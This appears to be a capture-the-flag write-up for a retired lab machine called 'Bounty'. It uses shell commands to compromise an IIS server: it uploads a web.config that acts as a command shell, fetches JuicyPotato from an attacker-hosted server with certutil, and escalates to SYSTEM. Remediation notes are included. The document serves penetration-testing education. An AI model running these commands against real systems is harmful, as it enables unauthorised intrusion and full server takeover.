Bounty
Summary
I found a hidden file-upload page on the company's IIS web server, bypassed its extension filter by uploading a web.config file containing embedded server-side script code, and gained the ability to run any Windows command through that file. The web server's application account held a dangerous Windows privilege (SeImpersonatePrivilege) that allowed me to use a publicly available tool to impersonate the all-powerful SYSTEM account — giving them complete control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Full port scan with service-version detection.
$ nmap -sV -sC -p- --min-rate 5000 $TARGETRead response headers to confirm IIS version and ASP.NET runtime.
$ curl -i http://$TARGET/Exact commands 2
Discover hidden pages; /transfer.aspx is the critical hit.
$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,asp,html,txt -t 40Confirm the anti-forgery token field names before crafting the upload request.
$ curl -s http://$TARGET/transfer.aspx -o page.html && grep -i 'VIEWSTATE\|EVENTVALIDATION' page.htmlExact commands 2
Scrape live anti-forgery tokens — these expire quickly and must be refreshed before each upload.
$ curl -s http://$TARGET/transfer.aspx -o page.html
VS=$(perl -ne 'print "$1" if /name="__VIEWSTATE"[^>]*value="([^"]+)"/' page.html)
EV=$(perl -ne 'print "$1" if /name="__EVENTVALIDATION"[^>]*value="([^"]+)"/' page.html)POST the crafted web.config (ASP RCE stub reading ?cmd=) as a multipart file upload. Expect a success message confirming the file was saved.
$ curl -s -X POST http://$TARGET/transfer.aspx \
-F "__VIEWSTATE=$VS" \
-F "__EVENTVALIDATION=$EV" \
-F "btnUpload=Upload" \
-F "FileUpload1=@web.config;type=application/octet-stream"FixRemove script-execute permission from the upload directory and expand the extension denylistCritical
Exact commands 2
Verify execution context — expected output: bounty\merlin.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=whoami'Read user flag — value captured, redacted here as <user.txt>.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=type C:\Users\merlin\Desktop\user.txt'Exact commands 1
List token privileges — confirm SeImpersonatePrivilege is Enabled.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=whoami /priv'FixStrip SeImpersonatePrivilege from the IIS application pool accountCritical
Exact commands 3
Run on my machine ($ATTACKER_IP) to serve JuicyPotato.exe from a local directory.
$ python3 -m http.server 9000Download JuicyPotato to a writable temp directory on the target.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode "cmd=certutil -urlcache -f http://$ATTACKER_IP:9000/win/JuicyPotato.exe C:\Windows\Temp\jp.exe"Verify the binary arrived and is the correct file size.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=dir C:\Windows\Temp\jp.exe'Exact commands 3
Enumerate a valid local CLSID for this build (-z flag). Output format: {CLSID};ACCOUNT.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t * -l 1340 -z'Run whoami as SYSTEM using the discovered CLSID (-c). Replace CLSID if your enumeration returns a different one.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t t -l 1341 -c {4991d34b-80a1-4291-83b6-3328366b9097} -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\proof.txt"'Verify output reads 'nt authority\system' to confirm escalation.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=type C:\Windows\Temp\proof.txt'Exact commands 2
Run as SYSTEM: copy the root flag to the web-accessible uploads folder.
$ curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t t -l 1342 -c {4991d34b-80a1-4291-83b6-3328366b9097} -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploadedfiles\r.txt"'Retrieve the root flag over HTTP — value redacted here as <root.txt>.
$ curl -s http://$TARGET/uploadedfiles/r.txtAttack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.